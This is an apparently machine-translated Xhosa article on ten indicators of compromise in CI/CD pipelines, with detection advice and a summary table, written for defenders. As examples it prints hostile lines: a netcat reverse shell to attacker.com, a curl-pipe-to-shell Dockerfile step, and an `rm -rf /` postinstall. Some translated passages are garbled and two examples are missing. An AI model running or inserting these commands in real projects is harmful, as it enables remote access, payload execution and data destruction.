Intshayelelo: Zithini Iimpawu Zokuvumelana Kwi-Cybersecurity?
Iimpawu zokungavisisani ziimpawu zokuqala zokulumkisa ukuba inkqubo yakho okanye pipeline isenokuba ihlaselwa. Ngamazwi alula, izalathisi zokuthobela ziimpawu ezishiywe ngabahlaseli, njengokungaqhelekanga logins, utshintsho lweefayile, okanye i-malware efihliweyo. Kwi Ukhuseleko lwe-intanethi lwe-IOC, zisebenza njengeminwe kwindawo yolwaphulo-mthetho, zikunika ubungqina obucacileyo bokuba kukho into engalunganga. Ke ngoko, xa abaphuhlisi bebuza zeziphi izalathisi zokuvumelana, impendulo ayipheleli nje kwiiseva okanye kwii-firewall, ikwabandakanya neengozi ezifihliweyo kwiindlela zanamhlanje. CI/CD pipelines.
Kule ndawo pipelines, abahlaseli banokutshintsha ikhowudi, bafake ukuxhomekeka okunobungozi, okanye batshintshe amanyathelo okwakha ngaphandle kokubonwa. Nangona kunjalo, uninzi lwezikhokelo zisagxila kuphela kwiiseva okanye kwiinethiwekhi. Ngenxa yoko, uthotho lobonelelo lwesoftware lube yenye yezona zinto zilula ukuzijolisa.
Yiyo loo nto ukufumana izalathisi zokuvumelana CI/CD pipelines ibalulekile. Ngaphezu kwako konke, inceda amaqela ukuthintela i-malware, ukukhusela iimfihlo, kunye nokukhusela inyathelo ngalinye lokuhanjiswa kwesoftware.
Iimpawu ezili-10 eziphambili zokuvumelana kwi-intanethi CI/CD Pipelines
Xa kucaciswa izalathisi zokuvumelana, uninzi lwezintlu lugxila kwiiseva okanye kwiinethiwekhi. CI/CD pipelines, abahlaseli bashiya iminwe eyahlukileyo kakhulu. Ukuqonda ezi mpawu kubalulekile ekukhuseleni ngokukhawuleza. Apha ngezantsi kukho imiqondiso eli-10 ye-IOC yokhuseleko lwe-cybersecurity ekufuneka ijongwe yiyo yonke i-developer kunye nenjineli yokhuseleko.
1. Utshintsho oluthandabuzekayo lokuxhomekeka
Esinye sezibonakaliso eziphambili zokuvumelana kwi pipelineI-s luhlaziyo olungaqhelekanga lokuxhomekeka oluvela ngequbuliso. Abahlaseli badla ngokusebenzisa indawo yabaphuhlisi be-trust kubaphathi beepakeji ukongeza iipakeji eziyingozi.
Umzekelo, kwi-npm a package.json i-diff ingabandakanya ngequbuliso:
Utshintsho olunjalo lunokubonakala lukhuselekile kodwa lunokufaka ikhowudi yetrojanised kuyo yonke i-build.
Impact: izakhiwo ezichaphazelekileyo zidla ilifa i-malware kumthombo.
Ukufumanisa: nyanzelisa uphononongo lokuxhomekeka, ulandelele i-lockfile diffs, kwaye uskene iipakeji ezintsha ngalo lonke ixesha.
2. Ikhowudi engaqondakaliyo kwiZakhiwo
Ababhali be-malware baxhomekeke kwi-obfuscation ukuze baphephe uphononongo. Ngenxa yoko, esi sibonakaliso sokungavisisani ku CI/CD pipelineI-s inokuba yenye yezona zinto zinzima ukuzibamba. Enyanisweni, imithwalo efihliweyo idla ngokungena kwiilayibrari ezivulekileyo okanye kwimifanekiso yesikhongozeli ngaphandle kwesaziso.
Umzekelo:
- Iphakheji yePyPI esebenzisa
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - Umfanekiso weDocker ogcwele ii-UPX binaries ezingafunekiyo.
- IJavaScript igcwele
\x41\x42ubaleka efihla abantu abathiya amaphepha eemvume.
Impact: Ikhowudi efihliweyo isebenza buthule ngexesha lokwakha okanye lokuqhuba, nto leyo eyenza oku kube luphawu olubalulekileyo kukhuseleko lwe-cyber lwe-IOC.
Ukufumanisa: Hlanganisa SAST nge-malware scanning ukuze ubonise ikhowudi efakwe okanye epakishiweyo. Ngaphezu kwako konke, phatha i-obfuscation njengeflegi ebomvu efanele uphando olongezelelekileyo.
3. Iimfihlo Ezityhiliweyo kwiGit: Umngcipheko Wokhuseleko Lwekhompyutha We-IOC Oqhelekileyo
CI/CD pipelines zihlala zizuza iimfihlo ngokuthe ngqo kwiindawo zokugcina izinto. Nangona kunjalo, xa kuvela iimfihlo kwiGit, ziba yenye yeempendulo ezicacileyo kumbuzo othi “ziintoni iimpawu zokuvumelana kwisivumelwano pipelines?” Nje ukuba iziqinisekiso zifike kwiGit, abahlaseli banokuzixhaphaza ngonaphakade.
Umzekelo:
- A
.envifayile equlatheAWS_SECRET_KEY=. - Iithokheni zifakwe ngaphakathi
config.json. - Iimfihlo zisabonakala kwimbali yeGit nangona sele zisusiwe.
Impact: Izitshixo eziveziweyo zinika abahlaseli ukufikelela ngqo kwi CI/CD pipelines, iinkqubo zamafu, okanye iidathabheyisi. Ngoko ke, esi sesinye sezona zibonakaliso ziyingozi zokuvumelana.
Ukufumanisa: ukusebenzisa pre-commit hooks kunye nemisebenzi ye-CI yokuskena ngasese, kwaye urhoxise izitshixo ezivuzayo ngoko nangoko. Ukongeza, nyanzelisa ukulungiswa okuzenzakalelayo ukunciphisa iifestile ezibonakala.
4. Iphazamisekile Pipeline Uqwalaselo: Iimpawu ezifihlakeleyo zokuvumelana
Pipeline ii-configs ziithagethi zexabiso eliphezulu kuba Utshintsho olunye ludla ngokuthatha indawo yomsebenzi wonkeNgenxa yoko, kuphazanyisiwe pipeline Iifayile ziyingozi enkulu kukhuseleko lwe-intanethi lwe-IOC engafane ibonwe zizixhobo zokubeka esweni zemveli.
Umzekelo:
Kwizenzo zeGitHub:
- KwiGitLab: umsebenzi onobungozi wongezwe kwi
.gitlab-ci.ymlekhupha idatha eyimfihlo. - EJenkins:
sh "nc -e /bin/bash attacker.com 4444".
Impact: Olu tshintsho lungavunywanga lujika lube pipeline bangene kwindawo engasemva ehlala ihleli yabahlaseli, nto leyo ebonakala ngokucacileyo njengesibonakaliso sokuvumelana.
Ukufumanisa: Sebenzisa ii-configs ezisayiniweyo, ufune iimvume ze-PR, kwaye ubeke iliso kwimisebenzi engalindelekanga. Ukongeza, setha guardrails ezithintela ngokuzenzekelayo iindlela zokusebenza ezitshintshiweyo.
5. Unelungelo IaC Ukungagqibeki
Iinkcazo zeziseko zophuhliso ezingacwangciswanga kakuhle zihlala zidala iingcango zangasemva ezifihlakeleyo. Ngenxa yoko, ukungagqibeki okufanelekileyo kwi IaC ziyingozi eqhelekileyo yokhuseleko lwe-intanethi ye-IOC.
Umzekelo:
- Iipodi zokunikezelwa kweenkonzo ze-Kubernetes
privileged: true. - Iitshathi zeHelm eziveza iinkonzo nge
0.0.0.0:22.
Impact: Abahlaseli bafumana ukufikelela kwinqanaba elisezantsi okanye baveze iinkonzo zangaphakathi esidlangalaleni. Ngenxa yoko, ezi ngxaki zandisa kakhulu indawo yohlaselo.
Ukufumanisa: Faka IaC ukuskena ukuze kuqinisekiswe ilungelo elincinci ngaphambi kokudibanisa. Ukongeza, qinisekisa ukuba zonke izicwangciso zijongwa njengenxalenye ye pipeline.
6. Iindlela Zokwakha Ezingaqhelekanga
Abahlaseli badla ngokutshintsha pipeline ukuziphatha okuya kuthi shwaka kwizenzo ezimbi. Ngamanye amazwi, umsebenzi wokwakha ongaqhelekanga yenye yeempendulo ezicacileyo zeziphi iimpawu zokuvumelana CI/CD pipelines.
Umzekelo:
- Yakha izicelo zenethiwekhi eziphumayo kwiindawo ezingaqhelekanga.
- Iprojekthi yeNode.js yavelisa iPowerShell ngequbuliso ngexesha
npm install. - Umsebenzi we-CI wokukhuphela ii-binary ezinkulu ezingachazwanga kwizikripthi zokwakha.
Impact: Ulwakhiwo oluphazamisekileyo lunokusebenza njengeendawo zokusasaza ii-malware. Ngaphezu kwako konke, lusasaza imithwalo enobungozi kuyo yonke inkqubo.
Ukufumanisa: Jonga iilog zokwakha iinkqubo okanye unxibelelwano olungalindelekanga. Ngaphezu koko, lungiselela ukufunyanwa kwezinto ezingaqhelekanga ukuze uphawule iindlela zokuziphatha ezingaphandle kwesiqhelo.
7. Izikripthi zePakethe ezinobungozi njengeengozi zoKhuseleko lwe-Intanethi ze-IOC
Abaphathi beephakheji baxhasa umjikelo wobomi hooks abahlaseli bayabaxhaphaza. Ke ngoko, izikripthi ezinobungozi kwi-npm, PyPI, okanye iiDockerfiles zizibonakaliso ezinamandla zokuvumelana.
Umzekelo:
- npm:
postinstalliskripthi siyasebenzarm -rf /okanye ukubethelela kwi-C2. - I-PyPI:
setup.pyukusebenzisa ikhowudi yePython efihliweyo xa ufaka. - Ifayile yeDocker:
RUN curl attacker.sh | sh.
Impact: Olu hlaselo luyenzeka ngexesha lokufakwa, ngaphambi kovavanyo lwexesha lokusebenza. Ngenxa yoko, abaphuhlisi basenokungaqapheli de kube sekwephuzile.
Ukufumanisa: Skena ii-manifest zephakheji ukuze ufumane izikripthi zokufaka. Ukongeza, thintela umngcipheko hooks in CI/CD imisebenzi yokunciphisa ukuchatshazelwa.
8. Iimpawu zeRejistri yeTyhefu yokuLunga
Abahlaseli batshintsha okanye batshintsha izinto zakudala kwiirejista, kwaye ezi ziganeko ziyimizekelo yeencwadi zezifundo zeempawu zokungavisisani kwikhonkco lokubonelela pipelines.
Umzekelo:
- Ithegi yomfanekiso weDocker ihlaziywe buthule ngomaleko wetrojanised.
- Iphakheji yangaphakathi ithathelwe indawo yinguqulelo enetyhefu.
- ukuqubha nge-npm namespace, okufana noku
lodash-proxy.
Impact: Yonke into eyakhiweyo esebenzisa i-registry artifact iba sengozini. Ayipheleli apho, kodwa i-compromise isasazeka nakwiinkonzo ezisezantsi.
Ukufumanisa: Qinisekisa ukuba kukho uhlolo lotyikityo nolwentembeko kuzo zonke iirejistri ezitsalwayo. Ukongeza, landela imvelaphi yezinto ezenziweyo usebenzisa SBOM ukuqinisekiswa.
9. Umsebenzi ongaqhelekanga woMsebenzisi njengoBungqina be-IOC
Iingxelo ezichaphazelekileyo phantse zihlala zishiya ngasemva iimpawu ezingaqhelekanga. Ngoko ke, ukuziphatha okungaqhelekanga komphuhlisi luphawu oluqinileyo lokuvumelana.
Umzekelo:
- Commits ityhalelwe ngentsimbi yesi-3 kusasa ngexesha lendawo.
- Ukuvunywa kwe-PR ngama-akhawunti ngexesha leholide.
- Pipelines ibangelwa yi-frequency engaqhelekanga.
Impact: Abahlaseli basebenzisa kakubi iziqinisekiso ezibiweyo ukuze bafake utshintsho olunobungozi. Kaloku, abangagunyaziswanga commits zixubana lula kwiindlela eziqhelekileyo zokusebenza.
Ukufumanisa: Monitor SCM imisebenzi yeemeko ezingaqhelekanga, ukunyanzelisa i-MFA, kunye nokujikeleza amathokheni rhoqo. Ukongeza, lumkisa xa kukho into ekrokrisayo commit okanye iipateni zokuvunywa.
10. Ukungaphumeleli koBulungisa okanye ukuHlolwa koTyikityo kwi-IOC Cybersecurity
Isiqhelo kodwa esingananzwanga isalathisi sokulalanisa kukungathembeki okanye ukusayinwa okusileleyo. Kwi-IOC cybersecurity, olu hlolo luqinisekisa ukuba ikhowudi okanye izinto zakudala ziyinyani. Ukuzitsiba kuyashiya pipelines ibhentsisiwe.
imizekelo:
- I-SHA256 hash ayifani ne-checksum elindelekileyo.
- Utyikityo lwe-GPG olungekhoyo okanye olungasebenziyo.
- An SBOM ibonisa izinto ezingasayinwanga.
Impact: Ukusilela kokunyaniseka kudla ngokuthetha ukuphazanyiswa, ukutyhefwa kwirejista, okanye ukufakwa kwe-malware.
Ukufumanisa: Yenza kube ngokuzenzekelayo ukujonga isiginitsha, uqinisekise ukuqinisekiswa kwe-checksum, kwaye uvale izinto ezingasayinwanga. Ngaphezu kwako konke, jonga lonke itshekhi elingaphumelelanga njengobungqina obucacileyo bokungavumelani.
CI/CD Iimpawu zokuvumelana ngokukhawuleza
| Isalathisi sokuvumelana (IOC) | Impembelelo kwi CI/CD Pipelines | Indlela yokuFumana |
|---|---|---|
| Utshintsho oluthandabuzekayo lokuxhomekeka | Abahlaseli bafaka iilayibrari ezinobungozi kubaphathi beepakeji, nto leyo ekhokelela ekubeni ulwakhiwo lube sengozini. | Ukulandelela iifayile zokukhiya kuyahluka, kunyanzelise uphononongo lokuxhomekeka, kwaye kuskenwa ukuxhomekeka rhoqo. |
| Ikhowudi Engacacanga kwiZakhiwo | Imithwalo efihliweyo iyasebenza ngexesha lokwakha okanye ixesha lokusebenza ngaphandle kokufunyanwa. | ukusebenzisa SAST kunye nokuskena kwe-malware ukuze kuphawulwe iipateni zekhowudi ze-base64, hex, okanye ezipakishiweyo. |
| Iimfihlo Ezityhiliweyo kwiGit | Amathokheni avuzayo okanye izitshixo ze-API zivumela abahlaseli ukufikelela ngqo kwiinkqubo ezibalulekileyo. | Sebenzisa iiskeni eziyimfihlo kwiGit hooks kwaye urhoxise iziqinisekiso ezivuzileyo ngokuzenzekelayo. |
| Ijongiwe Pipeline Uqwalaselo | Iindlela zokusebenza eziguquliweyo zivumela ukukhutshwa kwedatha okanye ukuqhubekeka ngaphakathi CI/CD. | Ifuna iimvume ze-PR, inyanzelise uqwalaselo olusayiniweyo, kwaye ijonge pipeline utshintsho. |
| Ilungelo IaC Ukungagqibeki | Imisebenzi evumela kakhulu okanye ukungakhuseleki okungapheliyo kuveza iindawo ezingqongileyo zamafu. | Skena iifayile zeTerraform, Kubernetes, kunye neHelm ukuze ufumane ukunyanzeliswa kwamalungelo amancinci. |
| Iindlela Zokwakha Ezingaqhelekanga | Pipelinezisetyenziswa njengeendawo zokusasazwa kwe-malware okanye ukuhamba ecaleni. | Hlalutya iilog zokwakha ukuze ufumane ukhuphelo olungalindelekanga, iinkqubo, okanye iifowuni eziphumayo. |
| Izikripthi zePakeji ezinobungozi | Izikripthi ezifihliweyo zangaphambi/emva kokufakwa zibangela imithwalo ngaphambi kovavanyo lwexesha lokusebenza. | Vimba izikripthi ze-npm/PyPI ezinobungozi kwaye uthintele ukwenziwa ngaphakathi CI/CD imisebenzi. |
| Ityhefu yoBhaliso | Izinto ezenziwe ngeTrojan zithatha indawo yemifanekiso ethembekileyo okanye ii-binary kwiirejista. | Qinisekisa iitsheki, uqinisekise ukuqinisekiswa kwesiginitsha, kwaye uskene iirejista ngokukhawuleza. |
| Umsebenzi Womsebenzisi Ongaqhelekanga | Iiakhawunti ezichaphazelekileyo zibangela ubungozi commits okanye i-trigger pipelines. | Ukunyanzelisa i-MFA, ukuqapha commits malunga nokungahambi kakuhle, kwaye uhlalutye login iipateni. |
| Ukuhlolwa koBulungisa okanye ukuSayinwa okungaphumelelanga | Ibonisa ikhowudi ephazamisekileyo, ukuxhomekeka, okanye imifanekiso engena kwi pipeline. | Zenzekela ukujonga ingqibelelo kwaye uvale izinto ezingasayinwanga okanye ezingangqinelaniyo. |
Kutheni i-IOC yesiqhelo iphosakele kwi-cybersecurity CI/CD iingozi
Uninzi lwemibutho sele ijonga izalathisi zokungavisisani kwiiseva, iikhompyutha, okanye iinethiwekhi. Nangona kunjalo, le ndlela iqhelekileyo yokhuseleko lwe-intanethi lwe-IOC ayiwunaki CI/CD pipelines, ngoku enye yezona ndawo zibalulekileyo zohlaselo. Enyanisweni, pipelinebonisa imiqondiso ekhethekileyo yokuvumelana engenakubonwa zizixhobo zemveli.
Iimpawu zokuvumelana kuKhuseleko lweMveli
Kwi-cybersecurity yesiqhelo ye-IOC, ingqwalasela idla ngokuba koku kulandelayo:
- Unusual loginiidilesi ze-IP okanye iidilesi ze-s ezibonisa iziqinisekiso ezibiweyo.
- Iifayile ezirhanelekayo okanye utshintsho lwerejista olutyhila i-malware.
- Itrafikhi engalindelekanga ephumayo ekhomba ekuphumeni kwedatha.
Ezi zizibonakaliso ezaziwayo nezilandelwayo kwi MITER ATT & CK isakhelo, echaza iindlela zokuziphatha kunye namaqhinga aqhelekileyo eentshaba. Ezi ziimpawu eziluncedo. Nangona kunjalo, zisebenza ikakhulu kwiinkqubo zokusebenza okanye kwiinethiwekhi zeenkampani. Ngenxa yoko, bayaphoswa kukuphazamiseka okuncinci okwenzeka ngaphambili kwikhonkco lokubonelela ngesoftware.
Ngoba CI/CD Pipelines Bahlukile
CI/CD pipelines ziimeko ezizenzekelayo apho abaphuhlisi commit ikhowudi, ukuxhomekeka ekutsaleni, kunye nokwakha ukukhulula. Abahlaseli bayazi ukuba ukuvumelanisa okukodwa apha kuhamba ngokukhawuleza kuyo yonke into esetyenzisiweyo. Ngoko ke, zithini izalathisi zokuvumelana kwi CI/CD pipelineZibonakala zahlukile kakhulu:
- Ukuxhomekeka okunobungozi kongezwe buthule kwi-package.json okanye kwi-requirements.txt.
- Izitshixo ze-API okanye iithokheni ezivezwe kwiGit commits okanye iifayile ze-.env.
- Ikhowudi efihliweyo ifakiwe kwiiphakheji ze-npm okanye ze-PyPI.
- Iifayile zeTerraform okanye zeKubernetes ezine-defaults ezingakhuselekanga ezifana ne-privileged: true.
- Pipeline imisebenzi ehlelwe ukuze kukhutshwe idatha okanye kuvuleke iingcango zangasemva.
Ezi zimpawu zokuvumelana kwi CI/CD ukuhlala ungabonakali standard izixhobo zokhuseleko.
Umsantsa kwi-IOC Cybersecurity
Nangona amaqela amaninzi eqonda ixabiso leempawu zokuvumelana, asaxhomekeke kuphela ekufumaneni kwiiseva nakwiilog zenethiwekhi. Ke ngoko, abahlaseli banokutyhefa ukwakha okanye ukufaka i-malware ngaphandle kokushiya umkhondo oqhelekileyo. Yiyo loo nto iziganeko ezifana neepakethe ze-XZ Utils backdoor okanye i-npm enobungozi zingafunyanwanga de zafikelela kwimveliso.
Olu hlobo lwezivumelwano zobonelelo zikwagxininiswa yi CISIsikhokelo sokhuseleko lwe-A's supply chain, nto leyo elumkisa ukuba abahlaseli baya behlasela ngakumbi CI/CD pipelinekunye neerejista.
I-Takeaway
Ukhuseleko lwe-intanethi lwemveli lwe-IOC luyimfuneko kodwa alwanelanga. Ngaphezu kwako konke, amaqela kufuneka aqaphele izalathisi zokungavisisani ezithile kwi CI/CD pipelines. Kuphela emva koko banokubona ikhowudi enobungozi okanye pipeline ukusetyenziswa gwenxa ngaphambi kokuba kusasazeke kwiindawo ezingqongileyo.
